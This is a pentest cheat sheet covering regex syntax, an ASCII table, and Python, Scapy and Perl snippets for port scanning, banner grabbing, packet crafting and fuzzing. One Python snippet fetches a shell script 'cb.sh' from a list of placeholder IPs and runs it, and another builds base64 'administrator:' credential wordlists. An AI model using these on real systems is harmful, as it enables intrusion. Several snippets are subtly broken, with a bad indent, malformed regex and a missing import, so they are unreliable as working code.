ASCII and Regex

Regex expressions

  • ^ – Start of string
  • * – 0 or more
  • + – 1 or more
  • ? – 0 or 1
  • . – Any char but \n
  • {3} – Exactly 3
  • {3,} – 3 or more
  • {3,5} – 3 to 5
  • {3|5} – 3 or 5
  • [345] – 3 or 4 or 5
  • [^34] – Not 3 or 4
  • [a-z] – Lowercase a-z
  • [A-Z] – Uppercase A-Z
  • [0-9] – Digit 0-9
  • \d – Digit
  • \D – Not digit
  • \w – A-Z,a-z,0-9
  • \W – Not A-Z,a-z,0-9
  • \s – White Space (\t; \r; \n; \f)
  • \S – Not (\t; \r; \n; \f)
  • reg[ex] – ‘rege’ or ‘regx’
  • regex? – ‘rege’ or ‘regex’
  • regex* – ‘rege’ w/ 0 or more x
  • regex+ – ‘rege’ w/ 1 or more x
  • [Rr]egex – ‘Regex’ or ‘regex’
  • \d{3} – Exactly 3 digits
  • \d{3,} – 3 or more digits
  • [aeiou] – Any 1 vowel
  • (0[3-9]|1[0-9]|2[0-5]) – Numbers 03-25

ASCII table

  • Hex 00 –> x00 and Char –> ASCII
  • man ascii will generate the table on Linux.
Oct   Dec   Hex   Char                        Oct   Dec   Hex   Char
────────────────────────────────────────────────────────────────────────
000   0     00    NUL '\0' (null character)   100   64    40    @
001   1     01    SOH (start of heading)      101   65    41    A
002   2     02    STX (start of text)         102   66    42    B
003   3     03    ETX (end of text)           103   67    43    C
004   4     04    EOT (end of transmission)   104   68    44    D
005   5     05    ENQ (enquiry)               105   69    45    E
006   6     06    ACK (acknowledge)           106   70    46    F
007   7     07    BEL '\a' (bell)             107   71    47    G
010   8     08    BS  '\b' (backspace)        110   72    48    H
011   9     09    HT  '\t' (horizontal tab)   111   73    49    I
012   10    0A    LF  '\n' (new line)         112   74    4A    J
013   11    0B    VT  '\v' (vertical tab)     113   75    4B    K
014   12    0C    FF  '\f' (form feed)        114   76    4C    L
015   13    0D    CR  '\r' (carriage ret)     115   77    4D    M
016   14    0E    SO  (shift out)             116   78    4E    N
017   15    0F    SI  (shift in)              117   79    4F    O
020   16    10    DLE (data link escape)      120   80    50    P
021   17    11    DC1 (device control 1)      121   81    51    Q
022   18    12    DC2 (device control 2)      122   82    52    R
023   19    13    DC3 (device control 3)      123   83    53    S
024   20    14    DC4 (device control 4)      124   84    54    T
025   21    15    NAK (negative ack.)         125   85    55    U
026   22    16    SYN (synchronous idle)      126   86    56    V
027   23    17    ETB (end of trans. blk)     127   87    57    W
030   24    18    CAN (cancel)                130   88    58    X
031   25    19    EM  (end of medium)         131   89    59    Y
032   26    1A    SUB (substitute)            132   90    5A    Z
033   27    1B    ESC (escape)                133   91    5B    [
034   28    1C    FS  (file separator)        134   92    5C    \
035   29    1D    GS  (group separator)       135   93    5D    ]
036   30    1E    RS  (record separator)      136   94    5E    ^
037   31    1F    US  (unit separator)        137   95    5F    _
040   32    20    SPACE                       140   96    60    `
041   33    21    !                           141   97    61    a
042   34    22    "                           142   98    62    b
043   35    23    #                           143   99    63    c
044   36    24    $                           144   100   64    d
045   37    25    %                           145   101   65    e
046   38    26    &                           146   102   66    f
047   39    27    '                           147   103   67    g
050   40    28    (                           150   104   68    h
051   41    29    )                           151   105   69    i
052   42    2A    *                           152   106   6A    j
053   43    2B    +                           153   107   6B    k
054   44    2C    ,                           154   108   6C    l
055   45    2D    -                           155   109   6D    m
056   46    2E    .                           156   110   6E    n
057   47    2F    /                           157   111   6F    o

060   48    30    0                           160   112   70    p
061   49    31    1                           161   113   71    q
062   50    32    2                           162   114   72    r
063   51    33    3                           163   115   73    s
064   52    34    4                           164   116   74    t
065   53    35    5                           165   117   75    u
066   54    36    6                           166   118   76    v
067   55    37    7                           167   119   77    w
070   56    38    8                           170   120   78    x
071   57    39    9                           171   121   79    y
072   58    3A    :                           172   122   7A    z
073   59    3B    ;                           173   123   7B    {
074   60    3C    <                           174   124   7C    |
075   61    3D    =                           175   125   7D    }
076   62    3E    >                           176   126   7E    ~
077   63    3F    ?                           177   127   7F    DEL

Python

Python port scanner

import socket as sk

for port in range(<START_PORT>,<END_PORT>):
    try:
        s=sk.socket(sk.AF_INET,sk.SOCK_STREAM)
        s.settimeout(1000)
        s.connect(('<IP_ADDRESS>',port))
        print ('%d:OPEN' % (port))
        s.close
    except: continue

Python base64 wordlist

#!/usr/bin/python
import base64
 
file1=open("<PLAINTEXT_FILE_PATH>","r")
file2=open("<ENCODED_FILE_PATH>","w")
 
for line in file1:
    clear = "administrator:" + str.strip(line)
    new = base64.b64encode(clear.encode())
    file2.write(new.decode())

Convert Windows registry hex format to readable ASCII

import sys, string

dataFormatHex = bytearray.fromhex(sys.argv[1]).decode()
output = ""

for char in dataFormatHex:
    if char in string.printable:
        output += char
    else:
        output += "."
 
print("\n" + output)

Read all files in folder and search for regex

import glob, re
 
for msg in glob.glob('/tmp/.txt'):
    filer = open((msg),'r')
    data = filer.read()
    
    message = re.findall(r'<message>(.?)>/message>', data,re.DOTALL)
    print("File %s contains %s" % (str(msg),message))

    filer.close()

SSL encrypted SimpleHTTPServer

# Create SSL cert (follow prompts for customization)
# openssl req -new -x509 -keyout cert.pem -out cert.pem -days 365 –nodes
 
# Create httpserver.py
import http.server, ssl, socketserver
 
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain("cert.pem")
 
server_address = ('localhost', 4443)
 
handler = http.server.SimpleHTTPRequestHandler
 
with socketserver.TCPServer(server_address, handler) as httpd:
    httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
    httpd.serve_forever()

Loop through IP list, download file over HTTP and execute

#!/usr/bin/python
 
import os
from urllib.request import urlopen
 
urls = ["<IP_ADDRESS1>","<IP_ADDRESS2>"]
port = "<PORT_TO_CONNECT>"
payload = "cb.sh"
 
for url in urls:
    u = "http://%s:%s/%s" % (url, port, payload)
    try:
        r = urlopen(u)
        wfile = open("/tmp/cb.sh","wb")
        wfile.write(r.read())
        wfile.close()
       break
 
    except: continue
 
if os.path.exists("/tmp/cb.sh"):
    os.system("chmod 700 /tmp/cb.sh")
    os.system("/tmp/cb.sh")

Python E-Mail sender (Sendmail must be installed)

import smtplib
from email import encoders
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
 
server = smtplib.SMTP('<SMTP_SERVER>', <PORT>)
 
server.ehlo()
 
with open('<FILE_PATH>', 'r') as f:
    password = f.read()
 
server.login('<EMAIL>', password)
 
msg = MIMEMultipart()
msg['From'] = '<FROM_EMAIL>'
msg['To'] = '<TO_EMAIL>'
msg['Subject'] = '<SUBJECT_LINE>'
 
with open('<FILE_PATH>', 'r') as f:
    message = f.read()
 
msg.attach(MIMEText(message, 'plain'))
 
text = msg.as_string()
server.sendmail('<FROM_EMAIL>', '<TO_EMAIL>', text)

Generate random string of N lenght

import string, random
 
n=10
randstr = "".join(random.choice(string.ascii_letters + string.digits) for n in range(n))
 
print (randstr)

Python HTTP server

python –m SimpleHTTPServer <PORT>

Custom Python HTTP banner grabber

#!/usr/bin/python
#Sample syntax: python test.py -t 127.0.0.1-2 -p 8000 -d 1
 
import sys, time
from urllib.request import urlopen
from optparse import OptionParser
 
parser = OptionParser()
parser.add_option("-t", dest="iprange",help="target IP range, i.e. 192.168.1.1-25")
parser.add_option("-p", dest="port",default="80",help="port, default=80")
parser.add_option("-d", dest="delay",default=".5",help="delay (in seconds), default=.5 seconds")
 
(opts, args) = parser.parse_args()
 
if opts.iprange is None:
    parser.error("you must supply an IP range")
 
ips = []
headers = {}
octets = opts.iprange.split('.')
start = octets[3].split('-')[0]
stop = octets[3].split('-')[1]
 
for i in range(int(start),int(stop)+1):
    ips.append('%s.%s.%s.%d' % (octets[0],octets[1],octets[2],i))
 
print("\nScanning IPs: %s\n" % (ips))
 
for ip in ips:
    try:
        response = urlopen("http://{}:{}".format(ip, opts.port))
        headers[ip] = dict(response.info())
 
    except Exception as e:
        headers[ip] = "Error: " + str(e)

    time.sleep(float(opts.delay))
 
for header in headers:
    try:
        print("%s : %s" % (header,headers[header].get('server')))
 
    except:
        print("%s : %s" % (header,headers[header]))

Scapy

Scapy setup

When TCP packets are crafted with Scapy, the underlying OS will not recognize the initial SYN packet and will reply with a RST packet. To mitigate this, set the following iptables rule:

iptables –A OUTPUT –p tcp –-tcp-flags RST RST –j DROP

Expressions and Descriptions:

# Imports all scapy libraries
from scapy.all import *

# List all available protocols
ls()

#List all scapy functions
lsc()

# Show/set scapy config
conf

# Generate random src IPs
IP(src=RandIP())

# Generate random src MACs
Ether(src=RandMAC())

# Specify IP parameters
ip=IP(src="<IP_ADDRESS>",dst="<IP_ADDRESS>")

# Specify TCP parameters
tcp=TCP(dport=<PORT>)

# Specify data portion
data="TCP data"

# Create IP()/TCP() packet
packet=ip/tcp/data

# Display packet configuration
packet.show()

# Send 1 packet @ layer 3
send(packet,count=1)

# Send 2 packets @ layer 2
sendp(packet,count=2)

# Send faster using tcpreply
sendpfast(packet)

# Send 1 packet & get replies
sr(packet)

# Send only return 1st reply
sr1(packet)

# Send <packet> 1000 times
for i in range(0,1000):
    send (<PACKET_VARIABLE>)

# Sniff 100 packets on given interface
sniff(count=100,iface=”<INTERFACE_NAME>”)

Send IPv6 ICMP message

sr(IPv6(src="<IP_ADDRESS>", dst="<IP_ADDRESS>")/ICMP())

UDP packet with specific payload

from scapy.all import *
 
ip=IP(src="<IP_ADDRESS>", dst="<IP_ADDRESS>")
u=UDP(dport=<PORT>, sport=<PORT>)
pay = "my UDP packet"
packet=ip/u/pay
packet.show()
wrpcap ("<OUTPUT_PATH>",packet) : write to pcap
send(packet)

NTP fuzzer

from scapy.all import *
 
packet=IP(src="<IP_ADDRESS>", dst="<IP_ADDRESS>")/UDP(dport=<PORT>)/fuzz(NTP(version=4,mode=4))
 
send(packet)

Send HTTP message

from scapy.all import *
 
fileweb = open("web.txt",'r')
data = fileweb.read()
 
ip = IP(dst="<IP>")
 
SYN = ip/TCP(sport=RandNum(6000,7000),dport=80,flags="S",seq=4)
SYNACK = sr1(SYN)
ACK = ip/TCP(sport=SYNACK.dport, dport=80, flags="A", seq=SYNACK.ack, ack=SYNACK.seq+1)/data
 
reply, error = sr(ACK)
 
print(reply.show())

Perl

Perl port scanner

use strict;
use IO::Socket;
 
for(my $port=<START_PORT>;$port<<END_PORT>;$port++)
{
    my $remote=IO::Socket::INET->new( Proto=>"tcp",PeerAddr=>"<TARGET_IP>",PeerPort=>$port);
 
    if($remote)
    {
        print "$port is open\n";
    };
}